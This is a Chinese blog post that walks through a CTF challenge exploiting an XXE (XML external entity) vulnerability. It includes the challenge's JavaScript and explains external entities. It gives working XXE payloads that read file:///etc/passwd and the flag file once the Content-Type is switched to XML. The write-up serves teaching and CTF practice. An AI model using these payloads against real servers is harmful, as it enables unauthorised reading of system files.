码迷,mamicode.com
首页 > 其他好文 > 详细

XML引用外部实体触发XXE漏洞

时间:2019-05-25 22:54:28      阅读:313      评论:0      收藏:0      [点我收藏+]

标签:header   arc   xmlhttp   end   change   标识   return   org   ret   

先记录一道题

 技术图片

输入框中输入的内容会被显示到上面的区域中。查看后台源码,有这样的一个片段

function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send(‘{"search":"‘+evil_input+‘","value":"own"}‘);
}

 

传入一个json形式的数组

技术图片

传入json以后发现只是几个特定的值被记录下来。这里用到的就XXE漏洞

 

 

XML:可扩展标记语言标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言

<?xml  version="1.0" ?>
<user>
<username>admin</username>
<password>pass</password>
<age>age</age>
</user>

有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

 

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE rr[
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>

 

这里的entityex即我们引用的外部实体,在内容中又引用了SYSTEM,在服务器解析xml的时候就会触发SYSTME 进而执行file:///etc/passwd

 

找到了一个可以说明这个问题的实例:

技术图片

 

 点击下方的forget pwd,抓包。

技术图片

 

 查看返回包

技术图片

 

引用xml实体,构造如下语句。

技术图片

 

 语句成功被解析。

 

在这道题中我们首先要将content-type改为application/xml 这样即可以识别xml结构。

根据上述特点构造

<?xml version="1.0" ?>
<!DOCTYPE hsy[
<!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]>

<something>&any;</something>

 

 技术图片

 

得到flag

XML引用外部实体触发XXE漏洞

标签:header   arc   xmlhttp   end   change   标识   return   org   ret   

原文地址:https://www.cnblogs.com/sylover/p/10924269.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!